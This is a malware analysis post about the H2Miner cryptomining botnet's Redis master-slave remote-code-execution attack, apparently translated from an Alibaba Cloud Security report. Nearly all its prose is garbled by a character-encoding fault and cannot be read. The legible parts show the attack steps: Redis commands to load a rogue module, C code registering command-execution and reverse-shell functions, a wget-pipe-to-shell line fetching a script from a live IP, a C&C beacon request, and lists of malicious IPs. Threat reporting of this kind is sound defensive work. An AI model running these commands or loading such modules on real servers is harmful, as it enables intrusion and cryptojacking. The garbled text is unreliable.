ΠΡΠ΅Π΄ Π΅Π΄Π΅Π½ Π΄Π΅Π½, Π΅Π΄Π΅Π½ ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΈΡΠ΅ Π½Π° ΠΌΠΎΡΠΎΡ ΠΏΡΠΎΠ΅ΠΊΡ Π±Π΅ΡΠ΅ Π½Π°ΠΏΠ°Π΄Π½Π°Ρ ΠΎΠ΄ ΡΠ»ΠΈΡΠ΅Π½ ΡΡΠ². ΠΠΎ ΠΏΠΎΡΡΠ°Π³Π° ΠΏΠΎ ΠΎΠ΄Π³ΠΎΠ²ΠΎΡ Π½Π° ΠΏΡΠ°ΡΠ°ΡΠ΅ΡΠΎ βΡΡΠΎ Π±Π΅ΡΠ΅ ΡΠΎΠ°? ΠΠ°ΡΠ΄ΠΎΠ² ΠΎΠ΄Π»ΠΈΡΠ½Π° ΡΡΠ°ΡΠΈΡΠ° ΠΎΠ΄ ΡΠΈΠΌΠΎΡ Π½Π° Alibaba Cloud Security. ΠΠΈΠ΄Π΅ΡΡΠΈ Π½Π΅ ΡΠ° Π½Π°ΡΠ΄ΠΎΠ² ΠΎΠ²Π°Π° ΡΡΠ°ΡΠΈΡΠ° Π½Π° Π₯Π°Π±ΡΠ΅, ΡΠ΅ΡΠΈΠ² Π΄Π° ΡΠ° ΠΏΡΠ΅Π²Π΅Π΄Π°ΠΌ ΡΠΏΠ΅ΡΠΈΡΠ°Π»Π½ΠΎ Π·Π° Π²Π°Ρ <3
ΠΠ»Π΅Π³ΡΠ²Π°ΡΠ΅
ΠΠ΅ΠΎΠ΄Π°ΠΌΠ½Π°, Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΠΎΡ ΡΠΈΠΌ Π½Π° Alibaba Cloud ΠΎΡΠΊΡΠΈ Π½Π΅Π½Π°Π΄Π΅ΡΠ½Π° Π΅ΠΏΠΈΠ΄Π΅ΠΌΠΈΡΠ° Π½Π° H2Miner. ΠΠ²ΠΎΡ ΡΠΈΠΏ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΡΠ² Π³ΠΎ ΠΊΠΎΡΠΈΡΡΠΈ Π½Π΅Π΄ΠΎΡΡΠ°ΡΠΎΠΊΠΎΡ Π½Π° ΠΎΠ²Π»Π°ΡΡΡΠ²Π°ΡΠ΅ ΠΈΠ»ΠΈ ΡΠ»Π°Π±ΠΈΡΠ΅ Π»ΠΎΠ·ΠΈΠ½ΠΊΠΈ Π·Π° Redis ΠΊΠ°ΠΊΠΎ ΠΏΠΎΡΡΠΈ Π΄ΠΎ Π²Π°ΡΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ, ΠΏΠΎ ΡΡΠΎ Π³ΠΎ ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·ΠΈΡΠ° ΡΠΎΠΏΡΡΠ²Π΅Π½ΠΈΠΎΡ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΌΠΎΠ΄ΡΠ» ΡΠΎ slave ΠΏΡΠ΅ΠΊΡ ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·Π°ΡΠΈΡΠ° master-slave ΠΈ Π½Π° ΠΊΡΠ°ΡΠΎΡ Π³ΠΎ ΠΏΡΠ΅Π·Π΅ΠΌΠ° ΠΎΠ²ΠΎΡ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ΅Π½ ΠΌΠΎΠ΄ΡΠ» Π½Π° Π½Π°ΠΏΠ°Π΄Π½Π°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π° ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½ΠΈ ΠΈΠ½ΡΡΡΡΠΊΡΠΈΠΈ.
ΠΠΎ ΠΌΠΈΠ½Π°ΡΠΎΡΠΎ, Π½Π°ΠΏΠ°Π΄ΠΈΡΠ΅ Π½Π° Π²Π°ΡΠΈΡΠ΅ ΡΠΈΡΡΠ΅ΠΌΠΈ ΠΏΡΠ²Π΅Π½ΡΡΠ²Π΅Π½ΠΎ ΡΠ΅ Π²ΡΡΠ΅Π° ΡΠΎ ΠΊΠΎΡΠΈΡΡΠ΅ΡΠ΅ Π½Π° ΠΌΠ΅ΡΠΎΠ΄ ΠΊΠΎΡ Π²ΠΊΠ»ΡΡΡΠ²Π°ΡΠ΅ Π·Π°ΠΊΠ°ΠΆΠ°Π½ΠΈ Π·Π°Π΄Π°ΡΠΈ ΠΈΠ»ΠΈ ΠΊΠ»ΡΡΠ΅Π²ΠΈ SSH ΠΊΠΎΠΈ Π±Π΅Π° Π½Π°ΠΏΠΈΡΠ°Π½ΠΈ Π½Π° Π²Π°ΡΠ°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π° ΠΎΡΠΊΠ°ΠΊΠΎ Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ ΡΠ΅ Π½Π°ΡΠ°Π²ΠΈ Π½Π° Redis. ΠΠ° ΡΡΠ΅ΡΠ°, ΠΎΠ²ΠΎΡ ΠΌΠ΅ΡΠΎΠ΄ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΊΠΎΡΠΈΡΡΠΈ ΡΠ΅ΡΡΠΎ ΠΏΠΎΡΠ°Π΄ΠΈ ΠΏΡΠΎΠ±Π»Π΅ΠΌΠΈ ΡΠΎ ΠΊΠΎΠ½ΡΡΠΎΠ»Π°ΡΠ° Π½Π° Π΄ΠΎΠ·Π²ΠΎΠ»ΠΈΡΠ΅ ΠΈΠ»ΠΈ ΠΏΠΎΡΠ°Π΄ΠΈ ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ Π²Π΅ΡΠ·ΠΈΠΈ Π½Π° ΡΠΈΡΡΠ΅ΠΌΠΎΡ. Π‘Π΅ΠΏΠ°ΠΊ, ΠΎΠ²ΠΎΡ ΠΌΠ΅ΡΠΎΠ΄ Π½Π° Π²ΡΠΈΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΠΌΠΎΠ΄ΡΠ» ΠΌΠΎΠΆΠ΅ Π΄ΠΈΡΠ΅ΠΊΡΠ½ΠΎ Π΄Π° Π³ΠΈ ΠΈΠ·Π²ΡΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ Π½Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ ΠΈΠ»ΠΈ Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ ΡΠΊΠΎΠ»ΠΊΠ°, ΡΡΠΎ Π΅ ΠΎΠΏΠ°ΡΠ½ΠΎ Π·Π° Π²Π°ΡΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ.
ΠΠΎΡΠ°Π΄ΠΈ Π³ΠΎΠ»Π΅ΠΌΠΈΠΎΡ Π±ΡΠΎΡ Redis ΡΠ΅ΡΠ²Π΅ΡΠΈ Ρ ΠΎΡΡΠΈΡΠ°Π½ΠΈ Π½Π° ΠΠ½ΡΠ΅ΡΠ½Π΅Ρ (ΡΠΊΠΎΡΠΎ 1 ΠΌΠΈΠ»ΠΈΠΎΠ½), Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΠΎΡ ΡΠΈΠΌ Π½Π° Alibaba Cloud, ΠΊΠ°ΠΊΠΎ ΠΏΡΠΈΡΠ°ΡΠ΅Π»ΡΠΊΠΈ ΠΏΠΎΡΡΠ΅ΡΠ½ΠΈΠΊ, ΠΏΡΠ΅ΠΏΠΎΡΠ°ΡΡΠ²Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈΡΠ΅ Π΄Π° Π½Π΅ ΡΠΏΠΎΠ΄Π΅Π»ΡΠ²Π°Π°Ρ Redis ΠΎΠ½Π»Π°ΡΠ½ ΠΈ ΡΠ΅Π΄ΠΎΠ²Π½ΠΎ Π΄Π° ΡΠ° ΠΏΡΠΎΠ²Π΅ΡΡΠ²Π°Π°Ρ ΡΠ°ΡΠΈΠ½Π°ΡΠ° Π½Π° Π½ΠΈΠ²Π½ΠΈΡΠ΅ Π»ΠΎΠ·ΠΈΠ½ΠΊΠΈ ΠΈ Π΄Π°Π»ΠΈ ΡΠΈΠ΅ ΡΠ΅ ΠΊΠΎΠΌΠΏΡΠΎΠΌΠΈΡΠΈΡΠ°Π½ΠΈ. Π±ΡΠ· ΠΈΠ·Π±ΠΎΡ.
H2Miner
H2Miner Π΅ ΡΡΠ΄Π°ΡΡΠΊΠΈ Π±ΠΎΡΠ½Π΅Ρ Π·Π° ΡΠΈΡΡΠ΅ΠΌΠΈ Π±Π°Π·ΠΈΡΠ°Π½ΠΈ Π½Π° Linux ΡΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΎ Π½Π°ΠΏΠ°Π΄Π½Π΅ Π²Π°ΡΠΈΠΎΡ ΡΠΈΡΡΠ΅ΠΌ Π½Π° ΡΠ°Π·Π»ΠΈΡΠ½ΠΈ Π½Π°ΡΠΈΠ½ΠΈ, Π²ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ ΠΈ Π½Π΅Π΄ΠΎΡΡΠ°ΡΠΎΠΊ Π½Π° ΠΎΠ²Π»Π°ΡΡΡΠ²Π°ΡΠ΅ Π²ΠΎ ΡΠ°Π½Π»ΠΈΠ²ΠΎΡΡΠΈΡΠ΅ Π½Π° Hadoop yarn, Docker ΠΈ Redis Π·Π° Π΄Π°Π»Π΅ΡΠΈΠ½ΡΠΊΠΎ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ (RCE). ΠΠΎΡΠ½Π΅ΡΠΎΡ ΡΠ°Π±ΠΎΡΠΈ ΡΠΎ ΠΏΡΠ΅Π·Π΅ΠΌΠ°ΡΠ΅ ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈ ΡΠΊΡΠΈΠΏΡΠΈ ΠΈ ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ Π·Π° Π΄Π° ΡΠ΅ ΠΌΠΈΠ½ΠΈΡΠ°Π°Ρ Π²Π°ΡΠΈΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ, Π΄Π° ΡΠ΅ ΠΏΡΠΎΡΠΈΡΠΈ Π½Π°ΠΏΠ°Π΄ΠΎΡ Ρ
ΠΎΡΠΈΠ·ΠΎΠ½ΡΠ°Π»Π½ΠΎ ΠΈ Π΄Π° ΡΠ΅ ΠΎΠ΄ΡΠΆΡΠ²Π°Π°Ρ ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠ°ΡΠΈΠΈΡΠ΅ Π·Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΈ ΠΊΠΎΠ½ΡΡΠΎΠ»Π° (C&C).
Redis RCE
ΠΠ½Π°Π΅ΡΠ΅ΡΠΎ Π·Π° ΠΎΠ²Π°Π° ΡΠ΅ΠΌΠ° Π±Π΅ΡΠ΅ ΡΠΏΠΎΠ΄Π΅Π»Π΅Π½ΠΎ ΠΎΠ΄ ΠΠ°Π²Π΅Π» Π’ΠΎΠΏΠΎΡΠΊΠΎΠ² Π½Π° ZeroNights 2018. ΠΠΎ Π²Π΅ΡΠ·ΠΈΡΠ°ΡΠ° 4.0, Redis ΠΏΠΎΠ΄Π΄ΡΠΆΡΠ²Π° ΡΡΠ½ΠΊΡΠΈΡΠ° Π·Π° Π²ΡΠΈΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΏΡΠΈΠΊΠ»ΡΡΠΎΠΊΠΎΡ ΡΡΠΎ ΠΈΠΌ Π΄Π°Π²Π° ΠΌΠΎΠΆΠ½ΠΎΡΡ Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈΡΠ΅ Π΄Π° Π²ΡΠΈΡΡΠ²Π°Π°Ρ ΡΠ°ΠΊΠ° ΡΡΠΎ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ ΠΊΠΎΠΌΠΏΠ°ΡΠ»ΠΈΡΠ°Π½ΠΈ ΡΠΎ C Π²ΠΎ Redis Π·Π° ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΎΠ΄ΡΠ΅Π΄Π΅Π½ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° Redis. ΠΠ²Π°Π° ΡΡΠ½ΠΊΡΠΈΡΠ°, ΠΈΠ°ΠΊΠΎ ΠΊΠΎΡΠΈΡΠ½Π°, ΡΠΎΠ΄ΡΠΆΠΈ ΡΠ°Π½Π»ΠΈΠ²ΠΎΡΡ Π²ΠΎ ΠΊΠΎΡΠ°, Π²ΠΎ ΡΠ΅ΠΆΠΈΠΌΠΎΡ master-slave, Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·ΠΈΡΠ°Π°Ρ ΡΠΎ slave ΠΏΡΠ΅ΠΊΡ ΡΠ΅ΠΆΠΈΠΌΠΎΡ Π·Π° ΡΠ΅Π»ΠΎΡΠ½Π° ΡΠ΅ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·Π°ΡΠΈΡΠ°. ΠΠ²Π° ΠΌΠΎΠΆΠ΅ Π΄Π° Π³ΠΎ ΠΈΡΠΊΠΎΡΠΈΡΡΠΈ Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ Π·Π° ΠΏΡΠ΅Π½ΠΎΡ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈ ΠΏΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ. ΠΡΠΊΠ°ΠΊΠΎ ΡΠ΅ Π·Π°Π²ΡΡΠΈ ΡΡΠ°Π½ΡΡΠ΅ΡΠΎΡ, Π½Π°ΠΏΠ°ΡΠ°ΡΠΈΡΠ΅ Π³ΠΎ Π²ΡΠΈΡΡΠ²Π°Π°Ρ ΠΌΠΎΠ΄ΡΠ»ΠΎΡ Π½Π° Π½Π°ΠΏΠ°Π΄Π½Π°ΡΠ°ΡΠ° ΠΈΠ½ΡΡΠ°Π½ΡΠ° Π½Π° Redis ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π°Π°Ρ ΠΊΠ°ΠΊΠ²Π° Π±ΠΈΠ»ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π°.
ΠΠ½Π°Π»ΠΈΠ·Π° Π½Π° ΡΡΠ²ΠΈ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ
ΠΠ΅ΠΎΠ΄Π°ΠΌΠ½Π°, Π±Π΅Π·Π±Π΅Π΄Π½ΠΎΡΠ½ΠΈΠΎΡ ΡΠΈΠΌ Π½Π° Alibaba Cloud ΠΎΡΠΊΡΠΈ Π΄Π΅ΠΊΠ° Π³ΠΎΠ»Π΅ΠΌΠΈΠ½Π°ΡΠ° Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½Π°ΡΠ° Π³ΡΡΠΏΠ° ΡΡΠ΄Π°ΡΠΈ H2Miner Π½Π°Π΅Π΄Π½Π°Ρ Π΄ΡΠ°ΡΡΠΈΡΠ½ΠΎ ΡΠ΅ Π·Π³ΠΎΠ»Π΅ΠΌΠΈΠ»Π°. Π‘ΠΏΠΎΡΠ΅Π΄ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠ°, ΠΎΠΏΡΡΠΈΠΎΡ ΠΏΡΠΎΡΠ΅Ρ Π½Π° ΠΏΠΎΡΠ°Π²Π° Π½Π° Π½Π°ΠΏΠ°Π΄ Π΅ ΠΊΠ°ΠΊΠΎ ΡΡΠΎ ΡΠ»Π΅Π΄ΡΠ²Π°:
H2Miner ΠΊΠΎΡΠΈΡΡΠΈ RCE Redis Π·Π° ΡΠ΅Π»ΠΎΡΠ΅Π½ Π½Π°ΠΏΠ°Π΄. ΠΠ°ΠΏΠ°ΡΠ°ΡΠΈΡΠ΅ ΠΏΡΠ²ΠΎ Π³ΠΈ Π½Π°ΠΏΠ°ΡΠ°Π°Ρ Π½Π΅Π·Π°ΡΡΠΈΡΠ΅Π½ΠΈΡΠ΅ Redis ΡΠ΅ΡΠ²Π΅ΡΠΈ ΠΈΠ»ΠΈ ΡΠ΅ΡΠ²Π΅ΡΠΈ ΡΠΎ ΡΠ»Π°Π±ΠΈ Π»ΠΎΠ·ΠΈΠ½ΠΊΠΈ.
ΠΠΎΡΠΎΠ° ΡΠ° ΠΊΠΎΡΠΈΡΡΠ°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° config set dbfilename red2.so
Π·Π° Π΄Π° Π³ΠΎ ΡΠΌΠ΅Π½ΠΈΡΠ΅ ΠΈΠΌΠ΅ΡΠΎ Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ°. ΠΠΎ ΠΎΠ²Π°, Π½Π°ΠΏΠ°ΡΠ°ΡΠΈΡΠ΅ ΡΠ° ΠΈΠ·Π²ΡΡΡΠ²Π°Π°Ρ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° slaveof
Π·Π° Π΄Π° ΡΠ° ΠΏΠΎΡΡΠ°Π²ΠΈΡΠ΅ Π°Π΄ΡΠ΅ΡΠ°ΡΠ° Π½Π° Π΄ΠΎΠΌΠ°ΡΠΈΠ½ΠΎΡ Π·Π° ΡΠ΅ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ° Π½Π° master-slave.
ΠΠΎΠ³Π° Π½Π°ΠΏΠ°Π΄Π½Π°ΡΠ°ΡΠ° ΠΈΠ½ΡΡΠ°Π½ΡΠ° Π½Π° Redis Π²ΠΎΡΠΏΠΎΡΡΠ°Π²ΡΠ²Π° Π²ΡΡΠΊΠ° master-slave ΡΠΎ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½ΠΈΠΎΡ Redis ΡΡΠΎ Π΅ Π²ΠΎ ΡΠΎΠΏΡΡΠ²Π΅Π½ΠΎΡΡ Π½Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ, Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ Π³ΠΎ ΠΈΡΠΏΡΠ°ΡΠ° ΠΈΠ½ΡΠΈΡΠΈΡΠ°Π½ΠΈΠΎΡ ΠΌΠΎΠ΄ΡΠ» ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° fullresync Π·Π° Π΄Π° Π³ΠΈ ΡΠΈΠ½Ρ ΡΠΎΠ½ΠΈΠ·ΠΈΡΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈΡΠ΅. ΠΠ°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° red2.so ΠΏΠΎΡΠΎΠ° ΡΠ΅ ΡΠ΅ ΠΏΡΠ΅Π·Π΅ΠΌΠ΅ Π½Π° Π½Π°ΠΏΠ°Π΄Π½Π°ΡΠ°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π°. ΠΠ°ΠΏΠ°ΡΠ°ΡΠΈΡΠ΅ ΠΏΠΎΡΠΎΠ° Π³ΠΎ ΠΊΠΎΡΠΈΡΡΠ°Ρ ΠΌΠΎΠ΄ΡΠ»ΠΎΡ Π·Π° Π²ΡΠΈΡΡΠ²Π°ΡΠ΅ ./red2.so Π·Π° Π΄Π° ΡΠ° Π²ΡΠΈΡΠ°Π°Ρ ΠΎΠ²Π°Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° so. ΠΠΎΠ΄ΡΠ»ΠΎΡ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠ·Π²ΡΡΡΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΠ΄ Π½Π°ΠΏΠ°ΡΠ°Ρ ΠΈΠ»ΠΈ Π΄Π° ΠΈΠ½ΠΈΡΠΈΡΠ° ΠΎΠ±ΡΠ°ΡΠ½Π° Π²ΡΡΠΊΠ° (Π·Π°Π΄Π½Π° Π²ΡΠ°ΡΠ°) Π·Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ ΠΏΡΠΈΡΡΠ°ΠΏ Π΄ΠΎ Π½Π°ΠΏΠ°Π΄Π½Π°ΡΠ°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π°.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
ΠΠΎ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΊΠ°ΠΊΠΎ Π½Π° ΠΏΡ / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1
, Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ ΡΠ΅ Π³ΠΎ ΡΠ΅ΡΠ΅ΡΠΈΡΠ° ΠΈΠΌΠ΅ΡΠΎ Π½Π° ΡΠ΅Π·Π΅ΡΠ²Π½Π°ΡΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° ΠΈ ΡΠ΅ Π³ΠΎ ΡΠ°ΡΡΠΎΠ²Π°ΡΠΈ ΡΠΈΡΡΠ΅ΠΌΡΠΊΠΈΠΎΡ ΠΌΠΎΠ΄ΡΠ» Π·Π° Π΄Π° Π³ΠΈ ΠΈΡΡΠΈΡΡΠΈ ΡΡΠ°Π³ΠΈΡΠ΅. Π‘Π΅ΠΏΠ°ΠΊ, Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° red2.so ΡΓ¨ ΡΡΡΠ΅ ΡΠ΅ ΠΎΡΡΠ°Π½Π΅ Π½Π° Π½Π°ΠΏΠ°Π΄Π½Π°ΡΠ°ΡΠ° ΠΌΠ°ΡΠΈΠ½Π°. ΠΠ° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΈΡΠ΅ ΠΈΠΌ ΡΠ΅ ΠΏΡΠ΅ΠΏΠΎΡΠ°ΡΡΠ²Π° Π΄Π° ΠΎΠ±ΡΠ½Π°Ρ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΠΏΡΠΈΡΡΡΡΠ²ΠΎΡΠΎ Π½Π° ΡΠ°ΠΊΠ²Π° ΡΠΎΠΌΠ½ΠΈΡΠ΅Π»Π½Π° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ° Π²ΠΎ ΠΏΠ°ΠΏΠΊΠ°ΡΠ° Π½Π° Π½ΠΈΠ²Π½ΠΈΠΎΡ ΠΏΡΠΈΠΌΠ΅ΡΠΎΠΊ Redis.
ΠΠΎΠΊΡΠ°Ρ ΡΠΎΠ° ΡΡΠΎ ΡΠ±ΠΈΠ» Π½Π΅ΠΊΠΎΠΈ ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈ ΠΏΡΠΎΡΠ΅ΡΠΈ Π·Π° Π΄Π° ΡΠΊΡΠ°Π΄Π΅ ΡΠ΅ΡΡΡΡΠΈ, Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ ΡΠ»Π΅Π΄Π΅Π» Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½Π° ΡΠΊΡΠΈΠΏΡΠ° ΡΠΎ ΠΏΡΠ΅Π·Π΅ΠΌΠ°ΡΠ΅ ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈ Π±ΠΈΠ½Π°ΡΠ½ΠΈ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ Π½Π°
Π‘ΠΏΠΎΡΠ΅Π΄ ΡΠ΅Π·ΡΠ»ΡΠ°ΡΠΈΡΠ΅ ΠΎΠ΄ ΠΎΠ±ΡΠ°ΡΠ½ΠΎΡΠΎ ΠΈΠ½ΠΆΠ΅Π½Π΅ΡΡΡΠ²ΠΎ, ΠΌΠ°Π»ΠΈΡΠΈΠΎΠ·Π½ΠΈΠΎΡ ΡΠΎΡΡΠ²Π΅Ρ Π³Π»Π°Π²Π½ΠΎ Π³ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π° ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ ΡΡΠ½ΠΊΡΠΈΠΈ:
- ΠΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ Π΄Π°ΡΠΎΡΠ΅ΠΊΠΈ ΠΈ Π½ΠΈΠ²Π½ΠΎ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅
- Π ΡΠ΄Π°ΡΡΡΠ²ΠΎ
- ΠΠ΄ΡΠΆΡΠ²Π°ΡΠ΅ Π½Π° C&C ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠ°ΡΠΈΡΠ° ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° Π½Π°ΠΏΠ°ΡΠ°ΡΠΎΡ
ΠΠΎΡΠΈΡΡΠ΅ΡΠ΅ Mascan Π·Π° Π½Π°Π΄Π²ΠΎΡΠ΅ΡΠ½ΠΎ ΡΠΊΠ΅Π½ΠΈΡΠ°ΡΠ΅ Π·Π° Π΄Π° Π³ΠΎ ΠΏΡΠΎΡΠΈΡΠΈΡΠ΅ Π²Π°ΡΠ΅ΡΠΎ Π²Π»ΠΈΡΠ°Π½ΠΈΠ΅. ΠΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»Π½ΠΎ, IP Π°Π΄ΡΠ΅ΡΠ°ΡΠ° Π½Π° C&C ΡΠ΅ΡΠ²Π΅ΡΠΎΡ Π΅ Ρ
Π°ΡΠ΄-ΠΊΠΎΠ΄ΠΈΡΠ°Π½Π° Π²ΠΎ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠ°ΡΠ°, Π° Π½Π°ΠΏΠ°Π΄Π½Π°ΡΠΈΠΎΡ Π΄ΠΎΠΌΠ°ΡΠΈΠ½ ΡΠ΅ ΠΊΠΎΠΌΡΠ½ΠΈΡΠΈΡΠ° ΡΠΎ C&C ΠΊΠΎΠΌΡΠ½ΠΈΠΊΠ°ΡΠΈΡΠΊΠΈΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ ΠΊΠΎΡΠΈΡΡΠ΅ΡΡΠΈ HTTP Π±Π°ΡΠ°ΡΠ°, ΠΊΠ°Π΄Π΅ ΡΡΠΎ ΠΈΠ½ΡΠΎΡΠΌΠ°ΡΠΈΠΈΡΠ΅ Π·Π° Π·ΠΎΠΌΠ±ΠΈ (ΠΊΠΎΠΌΠΏΡΠΎΠΌΠΈΡΠΈΡΠ°Π½ ΡΠ΅ΡΠ²Π΅Ρ) ΡΠ΅ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΡΠ²Π°Π°Ρ Π²ΠΎ Π·Π°Π³Π»Π°Π²ΠΈΠ΅ΡΠΎ HTTP.
GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
ΠΡΡΠ³ΠΈ ΠΌΠ΅ΡΠΎΠ΄ΠΈ Π½Π° Π½Π°ΠΏΠ°Π΄
ΠΠ΄ΡΠ΅ΡΠΈ ΠΈ Π²ΡΡΠΊΠΈ ΡΡΠΎ Π³ΠΈ ΠΊΠΎΡΠΈΡΡΠΈ ΡΡΠ²ΠΎΡ
/ ΡΡΠΎΠ΄ΡΡΠ²ΠΎ
β’ 142.44.191.122/t.sh
β’ 185.92.74.42/h.sh
β’ 142.44.191.122/spr.sh
β’ 142.44.191.122/spre.sh
β’ 195.3.146.118/unk.sh
s&c
β’ 45.10.88.102
β’ 91.215.169.111
β’ 139.99.50.255
β’ 46.243.253.167
β’ 195.123.220.193
Π‘ΠΎΠ²Π΅ΡΠΎΡ
